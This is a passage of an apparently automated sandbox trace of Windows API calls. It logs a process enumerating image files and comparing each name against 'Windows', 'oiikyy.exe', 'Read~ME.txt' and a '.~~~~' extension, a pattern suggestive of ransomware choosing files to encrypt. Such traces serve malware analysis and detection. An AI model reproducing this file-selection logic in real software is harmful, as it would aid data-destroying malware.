	[0085.008] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0175428.JPG", cAlternateFileName="")) returned 1
	[0085.008] lstrcmpiW (lpString1="J0175428.JPG", lpString2="Windows") returned -1
	[0085.008] lstrcmpW (lpString1="J0175428.JPG", lpString2="oiikyy.exe") returned -1
	[0085.008] StrStrW (lpFirst="J0175428.JPG", lpSrch=".~~~~") returned 0x0
	[0085.008] lstrcmpW (lpString1="J0175428.JPG", lpString2="Read~ME.txt") returned -1
	[0085.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.008] GetCurrentThreadId () returned 0x618
	[0085.008] RtlWakeConditionVariable () returned 0x365f48
	[0085.008] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0177257.JPG", cAlternateFileName="")) returned 1
	[0085.008] lstrcmpiW (lpString1="J0177257.JPG", lpString2="Windows") returned -1
	[0085.008] lstrcmpW (lpString1="J0177257.JPG", lpString2="oiikyy.exe") returned -1
	[0085.008] StrStrW (lpFirst="J0177257.JPG", lpSrch=".~~~~") returned 0x0
	[0085.008] lstrcmpW (lpString1="J0177257.JPG", lpString2="Read~ME.txt") returned -1
	[0085.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.008] GetCurrentThreadId () returned 0x618
	[0085.008] RtlWakeConditionVariable () returned 0x365f48
	[0085.010] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd902, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0177806.JPG", cAlternateFileName="")) returned 1
	[0085.010] lstrcmpiW (lpString1="J0177806.JPG", lpString2="Windows") returned -1
	[0085.010] lstrcmpW (lpString1="J0177806.JPG", lpString2="oiikyy.exe") returned -1
	[0085.011] StrStrW (lpFirst="J0177806.JPG", lpSrch=".~~~~") returned 0x0
	[0085.011] lstrcmpW (lpString1="J0177806.JPG", lpString2="Read~ME.txt") returned -1
	[0085.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.011] GetCurrentThreadId () returned 0x618
	[0085.011] RtlWakeConditionVariable () returned 0x365f48
	[0085.011] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x907d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178348.JPG", cAlternateFileName="")) returned 1
	[0085.023] lstrcmpiW (lpString1="J0178348.JPG", lpString2="Windows") returned -1
	[0085.023] lstrcmpW (lpString1="J0178348.JPG", lpString2="oiikyy.exe") returned -1
	[0085.023] StrStrW (lpFirst="J0178348.JPG", lpSrch=".~~~~") returned 0x0
	[0085.023] lstrcmpW (lpString1="J0178348.JPG", lpString2="Read~ME.txt") returned -1
	[0085.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.023] GetCurrentThreadId () returned 0x618
	[0085.023] RtlWakeConditionVariable () returned 0x365f48
	[0085.023] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7214, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178459.JPG", cAlternateFileName="")) returned 1
	[0085.023] lstrcmpiW (lpString1="J0178459.JPG", lpString2="Windows") returned -1
	[0085.023] lstrcmpW (lpString1="J0178459.JPG", lpString2="oiikyy.exe") returned -1
	[0085.023] StrStrW (lpFirst="J0178459.JPG", lpSrch=".~~~~") returned 0x0
	[0085.023] lstrcmpW (lpString1="J0178459.JPG", lpString2="Read~ME.txt") returned -1
	[0085.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.023] GetCurrentThreadId () returned 0x618
	[0085.024] RtlWakeConditionVariable () returned 0x365f48
	[0085.024] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ff99200, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ff99200, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x67a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178460.JPG", cAlternateFileName="")) returned 1
	[0085.024] lstrcmpiW (lpString1="J0178460.JPG", lpString2="Windows") returned -1
	[0085.024] lstrcmpW (lpString1="J0178460.JPG", lpString2="oiikyy.exe") returned -1
	[0085.024] StrStrW (lpFirst="J0178460.JPG", lpSrch=".~~~~") returned 0x0
	[0085.024] lstrcmpW (lpString1="J0178460.JPG", lpString2="Read~ME.txt") returned -1
	[0085.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.024] GetCurrentThreadId () returned 0x618
	[0085.024] RtlWakeConditionVariable () returned 0x365f48
	[0085.024] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5de2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178523.JPG", cAlternateFileName="")) returned 1
	[0085.024] lstrcmpiW (lpString1="J0178523.JPG", lpString2="Windows") returned -1
	[0085.024] lstrcmpW (lpString1="J0178523.JPG", lpString2="oiikyy.exe") returned -1
	[0085.024] StrStrW (lpFirst="J0178523.JPG", lpSrch=".~~~~") returned 0x0
	[0085.024] lstrcmpW (lpString1="J0178523.JPG", lpString2="Read~ME.txt") returned -1
	[0085.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.024] GetCurrentThreadId () returned 0x618
	[0085.024] RtlWakeConditionVariable () returned 0x365f48
	[0085.024] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5b2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178632.JPG", cAlternateFileName="")) returned 1
	[0085.024] lstrcmpiW (lpString1="J0178632.JPG", lpString2="Windows") returned -1
	[0085.024] lstrcmpW (lpString1="J0178632.JPG", lpString2="oiikyy.exe") returned -1
	[0085.024] StrStrW (lpFirst="J0178632.JPG", lpSrch=".~~~~") returned 0x0
	[0085.024] lstrcmpW (lpString1="J0178632.JPG", lpString2="Read~ME.txt") returned -1
	[0085.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.024] GetCurrentThreadId () returned 0x618
	[0085.024] RtlWakeConditionVariable () returned 0x365f48
	[0085.024] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d26, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178639.JPG", cAlternateFileName="")) returned 1
	[0085.025] lstrcmpiW (lpString1="J0178639.JPG", lpString2="Windows") returned -1
	[0085.025] lstrcmpW (lpString1="J0178639.JPG", lpString2="oiikyy.exe") returned -1
	[0085.025] StrStrW (lpFirst="J0178639.JPG", lpSrch=".~~~~") returned 0x0
	[0085.025] lstrcmpW (lpString1="J0178639.JPG", lpString2="Read~ME.txt") returned -1
	[0085.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.025] GetCurrentThreadId () returned 0x618
	[0085.025] RtlWakeConditionVariable () returned 0x365f48
	[0085.025] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178932.JPG", cAlternateFileName="")) returned 1
	[0085.025] lstrcmpiW (lpString1="J0178932.JPG", lpString2="Windows") returned -1
	[0085.025] lstrcmpW (lpString1="J0178932.JPG", lpString2="oiikyy.exe") returned -1
	[0085.025] StrStrW (lpFirst="J0178932.JPG", lpSrch=".~~~~") returned 0x0
	[0085.025] lstrcmpW (lpString1="J0178932.JPG", lpString2="Read~ME.txt") returned -1
	[0085.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.025] GetCurrentThreadId () returned 0x618
	[0085.025] RtlWakeConditionVariable () returned 0x365f48
	[0085.025] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0179963.JPG", cAlternateFileName="")) returned 1
	[0085.025] lstrcmpiW (lpString1="J0179963.JPG", lpString2="Windows") returned -1
	[0085.025] lstrcmpW (lpString1="J0179963.JPG", lpString2="oiikyy.exe") returned -1
	[0085.025] StrStrW (lpFirst="J0179963.JPG", lpSrch=".~~~~") returned 0x0
	[0085.025] lstrcmpW (lpString1="J0179963.JPG", lpString2="Read~ME.txt") returned -1
	[0085.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.025] GetCurrentThreadId () returned 0x618
	[0085.025] RtlWakeConditionVariable () returned 0x365f48
	[0085.025] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182689.JPG", cAlternateFileName="")) returned 1
	[0085.025] lstrcmpiW (lpString1="J0182689.JPG", lpString2="Windows") returned -1
	[0085.025] lstrcmpW (lpString1="J0182689.JPG", lpString2="oiikyy.exe") returned -1
	[0085.025] StrStrW (lpFirst="J0182689.JPG", lpSrch=".~~~~") returned 0x0
	[0085.025] lstrcmpW (lpString1="J0182689.JPG", lpString2="Read~ME.txt") returned -1
	[0085.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.026] GetCurrentThreadId () returned 0x618
	[0085.026] RtlWakeConditionVariable () returned 0x365f48
	[0085.026] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182888.WMF", cAlternateFileName="")) returned 1
	[0085.026] lstrcmpiW (lpString1="J0182888.WMF", lpString2="Windows") returned -1
	[0085.026] lstrcmpW (lpString1="J0182888.WMF", lpString2="oiikyy.exe") returned -1
	[0085.026] StrStrW (lpFirst="J0182888.WMF", lpSrch=".~~~~") returned 0x0
	[0085.026] lstrcmpW (lpString1="J0182888.WMF", lpString2="Read~ME.txt") returned -1
	[0085.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.026] GetCurrentThreadId () returned 0x618
	[0085.026] RtlWakeConditionVariable () returned 0x365f48
	[0085.026] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182898.WMF", cAlternateFileName="")) returned 1
	[0085.026] lstrcmpiW (lpString1="J0182898.WMF", lpString2="Windows") returned -1
	[0085.026] lstrcmpW (lpString1="J0182898.WMF", lpString2="oiikyy.exe") returned -1
	[0085.026] StrStrW (lpFirst="J0182898.WMF", lpSrch=".~~~~") returned 0x0
	[0085.026] lstrcmpW (lpString1="J0182898.WMF", lpString2="Read~ME.txt") returned -1
	[0085.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.026] GetCurrentThreadId () returned 0x618
	[0085.026] RtlWakeConditionVariable () returned 0x365f48
	[0085.026] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182902.WMF", cAlternateFileName="")) returned 1
	[0085.027] lstrcmpiW (lpString1="J0182902.WMF", lpString2="Windows") returned -1
	[0085.027] lstrcmpW (lpString1="J0182902.WMF", lpString2="oiikyy.exe") returned -1
	[0085.027] StrStrW (lpFirst="J0182902.WMF", lpSrch=".~~~~") returned 0x0
	[0085.027] lstrcmpW (lpString1="J0182902.WMF", lpString2="Read~ME.txt") returned -1
	[0085.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.027] GetCurrentThreadId () returned 0x618
	[0085.027] RtlWakeConditionVariable () returned 0x365f48
	[0085.027] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21290a00, ftCreationTime.dwHighDateTime=0x1bdf6f5, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21290a00, ftLastWriteTime.dwHighDateTime=0x1bdf6f5, nFileSizeHigh=0x0, nFileSizeLow=0x3ed2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182946.WMF", cAlternateFileName="")) returned 1
	[0085.027] lstrcmpiW (lpString1="J0182946.WMF", lpString2="Windows") returned -1
	[0085.027] lstrcmpW (lpString1="J0182946.WMF", lpString2="oiikyy.exe") returned -1
	[0085.027] StrStrW (lpFirst="J0182946.WMF", lpSrch=".~~~~") returned 0x0
	[0085.027] lstrcmpW (lpString1="J0182946.WMF", lpString2="Read~ME.txt") returned -1
	[0085.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.027] GetCurrentThreadId () returned 0x618
	[0085.027] RtlWakeConditionVariable () returned 0x365f48
	[0085.027] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x745c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183172.WMF", cAlternateFileName="")) returned 1
	[0085.027] lstrcmpiW (lpString1="J0183172.WMF", lpString2="Windows") returned -1
	[0085.027] lstrcmpW (lpString1="J0183172.WMF", lpString2="oiikyy.exe") returned -1
	[0085.027] StrStrW (lpFirst="J0183172.WMF", lpSrch=".~~~~") returned 0x0
	[0085.027] lstrcmpW (lpString1="J0183172.WMF", lpString2="Read~ME.txt") returned -1
	[0085.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.027] GetCurrentThreadId () returned 0x618
	[0085.027] RtlWakeConditionVariable () returned 0x365f48
	[0085.027] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6fd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183174.WMF", cAlternateFileName="")) returned 1
	[0085.027] lstrcmpiW (lpString1="J0183174.WMF", lpString2="Windows") returned -1
	[0085.027] lstrcmpW (lpString1="J0183174.WMF", lpString2="oiikyy.exe") returned -1
	[0085.027] StrStrW (lpFirst="J0183174.WMF", lpSrch=".~~~~") returned 0x0
	[0085.027] lstrcmpW (lpString1="J0183174.WMF", lpString2="Read~ME.txt") returned -1
	[0085.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.027] GetCurrentThreadId () returned 0x618
	[0085.028] RtlWakeConditionVariable () returned 0x365f48
	[0085.028] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183198.WMF", cAlternateFileName="")) returned 1
	[0085.028] lstrcmpiW (lpString1="J0183198.WMF", lpString2="Windows") returned -1
	[0085.028] lstrcmpW (lpString1="J0183198.WMF", lpString2="oiikyy.exe") returned -1
	[0085.028] StrStrW (lpFirst="J0183198.WMF", lpSrch=".~~~~") returned 0x0
	[0085.028] lstrcmpW (lpString1="J0183198.WMF", lpString2="Read~ME.txt") returned -1
	[0085.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.028] GetCurrentThreadId () returned 0x618
	[0085.028] RtlWakeConditionVariable () returned 0x365f48
	[0085.028] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183574.WMF", cAlternateFileName="")) returned 1
	[0085.028] lstrcmpiW (lpString1="J0183574.WMF", lpString2="Windows") returned -1
	[0085.028] lstrcmpW (lpString1="J0183574.WMF", lpString2="oiikyy.exe") returned -1
	[0085.028] StrStrW (lpFirst="J0183574.WMF", lpSrch=".~~~~") returned 0x0
	[0085.028] lstrcmpW (lpString1="J0183574.WMF", lpString2="Read~ME.txt") returned -1
	[0085.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.028] GetCurrentThreadId () returned 0x618
	[0085.028] RtlWakeConditionVariable () returned 0x365f48
	[0085.028] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185670.WMF", cAlternateFileName="")) returned 1
	[0085.028] lstrcmpiW (lpString1="J0185670.WMF", lpString2="Windows") returned -1
	[0085.028] lstrcmpW (lpString1="J0185670.WMF", lpString2="oiikyy.exe") returned -1
	[0085.028] StrStrW (lpFirst="J0185670.WMF", lpSrch=".~~~~") returned 0x0
	[0085.028] lstrcmpW (lpString1="J0185670.WMF", lpString2="Read~ME.txt") returned -1
	[0085.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.029] GetCurrentThreadId () returned 0x618
	[0085.029] RtlWakeConditionVariable () returned 0x365f48
	[0085.029] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e46, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185774.WMF", cAlternateFileName="")) returned 1
	[0085.037] lstrcmpiW (lpString1="J0185774.WMF", lpString2="Windows") returned -1
	[0085.037] lstrcmpW (lpString1="J0185774.WMF", lpString2="oiikyy.exe") returned -1
	[0085.037] StrStrW (lpFirst="J0185774.WMF", lpSrch=".~~~~") returned 0x0
	[0085.037] lstrcmpW (lpString1="J0185774.WMF", lpString2="Read~ME.txt") returned -1
	[0085.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.037] GetCurrentThreadId () returned 0x618
	[0085.037] RtlWakeConditionVariable () returned 0x365f48
	[0085.037] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185776.WMF", cAlternateFileName="")) returned 1
	[0085.037] lstrcmpiW (lpString1="J0185776.WMF", lpString2="Windows") returned -1
	[0085.037] lstrcmpW (lpString1="J0185776.WMF", lpString2="oiikyy.exe") returned -1
	[0085.037] StrStrW (lpFirst="J0185776.WMF", lpSrch=".~~~~") returned 0x0
	[0085.037] lstrcmpW (lpString1="J0185776.WMF", lpString2="Read~ME.txt") returned -1
	[0085.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.038] GetCurrentThreadId () returned 0x618
	[0085.038] RtlWakeConditionVariable () returned 0x365f48
	[0085.038] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185778.WMF", cAlternateFileName="")) returned 1
	[0085.038] lstrcmpiW (lpString1="J0185778.WMF", lpString2="Windows") returned -1
	[0085.038] lstrcmpW (lpString1="J0185778.WMF", lpString2="oiikyy.exe") returned -1
	[0085.038] StrStrW (lpFirst="J0185778.WMF", lpSrch=".~~~~") returned 0x0
	[0085.038] lstrcmpW (lpString1="J0185778.WMF", lpString2="Read~ME.txt") returned -1
	[0085.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.038] GetCurrentThreadId () returned 0x618
	[0085.038] RtlWakeConditionVariable () returned 0x365f48
	[0085.038] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe956, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185780.WMF", cAlternateFileName="")) returned 1
	[0085.038] lstrcmpiW (lpString1="J0185780.WMF", lpString2="Windows") returned -1
